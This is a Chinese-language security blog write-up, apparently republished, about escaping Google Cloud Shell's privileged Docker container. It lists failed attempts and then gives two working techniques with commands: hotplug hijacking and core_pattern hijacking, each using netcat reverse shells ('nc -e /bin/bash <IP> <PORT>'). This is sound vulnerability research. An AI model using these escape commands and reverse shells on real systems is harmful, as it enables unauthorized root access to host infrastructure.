文章总结: 这篇文章详细分析了GoogleCloudShell的容器环境,并成功实现了容器逃逸。作者首先识别出CloudShell运行在特权Docker容器中,然后尝试了多种逃逸方法,包括内核模块加载、cgroupsrelease_agent等,最终通过hotplug劫持和core_pattern劫持两种方法成功逃逸到宿主机。虽然逃逸了容器,但仍被限制在GCE虚拟机中,运行Container-OptimizedOS。 综合评分: 91 文章分类: 漏洞分析,渗透测试,云安全
Google Cloud Shell 容器逃逸
hai dragon
安全狗的自我修养
2025年12月15日 12:21 湖南
#
官网:http://securitytech.cc/
#
#
Cloud Shell 事后分析:内部机制的深度解析
在印度一个雨季将尽的周末清晨,我坐在窗边,手里拿着笔记本电脑,从“多线程”的角度思考自然和人生。接下来我想到的事情是——搞点黑客分析(当然是合规、道德的),这是我人生中第二令人兴奋的事情!(第一是什么你可以猜 😄)
出于做一次安全分析的动机,我开始对当下最火的公司之一进行侦察:OpenAI。任何参与过相关工作的人都知道,他们运行着一个规模极其庞大的 IT 基础设施,拥有大量用于研究和模型训练的子域名。
但当我在自己的笔记本电脑上扫描时,像 httpx 这样的工具经常因为我机器的算力和带宽限制而掉线或中途终止扫描。如果使用 VPS 会好很多,但成本是一个问题。
于是我开始使用 Google Cloud Shell ——这是 Google Cloud 提供的一个免费 Linux Shell 环境,具备 5GB 持久存储 和 稳定高速的网络连接。它非常好用,但和任何免费服务一样,它也有局限性:
Cloud Shell 默认每周只有 50 小时的使用配额,用完后只能等下周重置 ¯\_(ツ)_/¯
我最初的目标是绕过 Cloud Shell 的限制,但在分析环境的过程中,我逐渐意识到 Cloud Shell 的配置和代码体系非常复杂、规模也非常庞大。同时我也注意到,Google Cloud 运行着一个 漏洞奖励计划(VRP)(大约一年前启动)。
于是,我把目标从 OpenAI 转向了 Google Cloud Shell 本身。
按 Enter 或点击查看大图
每当我看到这样的终端环境,我的终极目标通常只有一个: 👉 拿到 root shell
但这一次,我发现我一开始就已经是 root 用户。
囚笼背后(Behind Virtual Bars)
当我在 Google Cloud Shell 中运行自动化枚举脚本(LinEnum)时,有几条输出立刻引起了我的注意,让我开始怀疑底层运行环境。
/proc/version 文件显示了一个异常点:
内核是基于 Chromium OS 编译的,但 /etc/os-release 却仍然报告系统是 Ubuntu 24.04.3 LTS。
这种 Chromium OS 内核 + Ubuntu 用户态 的不一致立刻让我警觉起来。这是一个强烈信号,表明这是一个容器化环境: 容器运行的是 Ubuntu 用户空间,而宿主机内核却来自 ChromeOS。
为了验证我的判断,我执行了:
结果证实:这是一个 Docker 容器。
接着我通过检查 cgroup 配置进行进一步验证:
这些路径都指向 /k8s.io/...,表明容器是通过 Kubernetes 编排的。
最后,我查看了 init 进程:
PID 1 是 bash 而不是 systemd,这是极简容器环境的典型特征。
综合所有信息可以确认: 👉 Google Cloud Shell 运行在一个由 Kubernetes 编排的 Docker 容器中,而不是一台独立的虚拟机。
逃离无形的牢笼(Escaping the Invisible Cage)
当我意识到自己被困在 Docker 容器中后,我的第一个目标非常明确:
逃逸容器
是时候测试这堵墙了。
权限评估(Privilege Assessment)
我首先关心的问题是: 👉 这个容器是不是特权容器(privileged container)?
特权容器几乎拥有宿主机的完全访问权限,包括内核操作、设备访问和不受限制的挂载能力。
我检查了当前进程拥有的 Linux capabilities:
值 000001ffffffffff 是一个十六进制位掩码,表示当前启用的所有 capability。
我使用 capsh 对其进行了解码:
解码后的结果清楚地显示了多个高危权限:
cap_sys_admin—— 允许挂载文件系统和执行系统管理操作cap_sys_module—— 允许加载 / 卸载内核模块cap_net_admin—— 允许修改网络配置
这些高权限 capability 的存在明确表明容器是以 --privileged 模式启动的。
此时我的攻击路径已经非常清晰: 👉 利用这些 capability 中的任意一个,尝试完成宿主机逃逸或权限提升。
攻击尝试时间线(Attack Attempts)
尝试 #1 —— 内核模块加载(CAP_SYS_MODULE)
首先吸引我注意的是 cap_sys_module。
我搜索了 “cap_sys_module container escape”,找到了一篇 IBM PTC Security 的文章:
Escaping the Container: Weaponizing Kernel Module Loading via CAP_SYS_MODULE
我很快照着文章里的方法进行了尝试。
- 确认
/proc/sys/kernel/modules_disabled为0 - 在容器中创建恶意内核模块
hello.c - 编译生成
.ko文件 - 使用
insmod尝试加载到宿主机内核
模块加载失败了。 原因是宿主机启用了 内核模块签名校验(Kernel Module Signature Verification, KMSV),只允许加载使用受信任密钥签名的模块。
由于我编译的模块是未签名的,内核直接拒绝加载。
这是一次“吃亏得来的教训”。 如果你遇到类似环境,不要浪费时间编译未签名模块,而应该先检查内核启动参数:
- 若输出包含
module.sig_enforce=1→ 强制开启模块签名校验 - 若无输出或为
=0→ 未强制
尝试 #2 —— cgroups v1 release_agent(notify_on_release)
我继续寻找其他特权容器逃逸方式,发现了这条著名的 Payload。
该技术滥用的是 cgroups v1 的 notify_on_release + release_agent 机制:
当 cgroup 中最后一个进程退出时,内核会在宿主机上以 root 身份执行 release_agent 指定的程序。
我尝试在 Cloud Shell 中执行该 Payload,但在第一步就失败了:
原因很明确:
系统已经使用 cgroup v2(统一层级),而 release_agent 和 notify_on_release 在 v2 中已经被完全移除。
这条路在 Cloud Shell 中已经被彻底封死。
尝试 #3 —— 成功逃逸!
第二天早上,我重新振作精神。前两次失败虽然没拿到 shell,但让我学到了很多。
最关键的一点是:
容器共享宿主机内核
不同于虚拟机,容器没有自己的内核。 任何宿主机内核级漏洞,理论上都可以成为容器逃逸点。
要从 Docker 容器逃逸到宿主机,通常需要两个核心要素:
- Payload 一个放置在容器文件系统中的二进制或脚本(例如反弹 shell),并且你需要知道它在宿主机视角下的绝对路径。
- 触发向量(Vector) 一个内核漏洞、错误配置,或可被滥用的合法内核机制,使得容器内的行为能导致宿主机内核或宿主机进程执行该 payload。
下面是我成功验证的两种方法。
方法 #1 —— hotplug 劫持
Payload(载荷)
我在容器中创建了一个简单的反弹 shell 脚本:
#!/bin/sh
nc -e /bin/bash <CONTAINER_IP> <PORT>
将其保存为 /shell,并赋予执行权限:
chmod +x /shell
我在另一个终端中启动监听:
nc -lvnp <PORT>
接下来是关键步骤: 找出该 payload 在宿主机上的真实路径。
容器运行时使用 OverlayFS。
容器中 /shell 实际上位于宿主机的 upperdir 中。
通过 mount 可以定位:
最终宿主机路径类似于:
/var/lib/containerd/.../upper/shell
向量(Vector)
Linux 内核的 hotplug 子系统在发生热插拔事件时,会执行 /proc/sys/kernel/hotplug 中指定的程序。
我将 payload 的宿主机绝对路径写入该文件:
然后通过创建/删除虚拟网卡触发热插拔事件:
ip link add test0 type dummy
ip link delete test0
内核随即在宿主机上执行 payload。 监听端收到了连接:
🎉 成功从容器逃逸到宿主机。
方法 #2 —— core_pattern 劫持
原理
/proc/sys/kernel/core_pattern 定义了进程崩溃时内核如何处理 core dump。
如果值以 | 开头,内核会将后续内容当作程序执行,并把 core dump 通过 stdin 传给它。
⚠️ 这个 execve() 是在 宿主机上下文 中执行的。
Payload
我将其设置为使用宿主机的 nc 反弹 shell:
echo"|/usr/bin/nc -e /bin/bash <IP> <PORT>" > /proc/sys/kernel/core_pattern
触发崩溃
sleep 9999 &
kill -SIGABRT $!
或:
gcc -x c - <<< 'int main(){int *p=0;*p=1;}' && ./a.out
进程崩溃后,宿主机内核执行 payload, 监听端再次收到 root shell。
宿主机指纹识别(Fingerprinting the Host)
宿主机运行的是:
Container-Optimized OS 117(Lakitu)
这是 Google 专门为容器工作负载打造的最小化 Linux 发行版。
随后确认:
- 运行在 Google Compute Engine
- 虚拟化层为 KVM
- 使用 Virtio 半虚拟化设备
- 当前仍被隔离在虚拟机边界内
结语
我成功逃逸了 Cloud Shell 容器,但仍然被限制在 GCE 虚拟机中。
逃逸了,但尚未自由。
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
查看原文:《Google Cloud Shell 容器逃逸》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论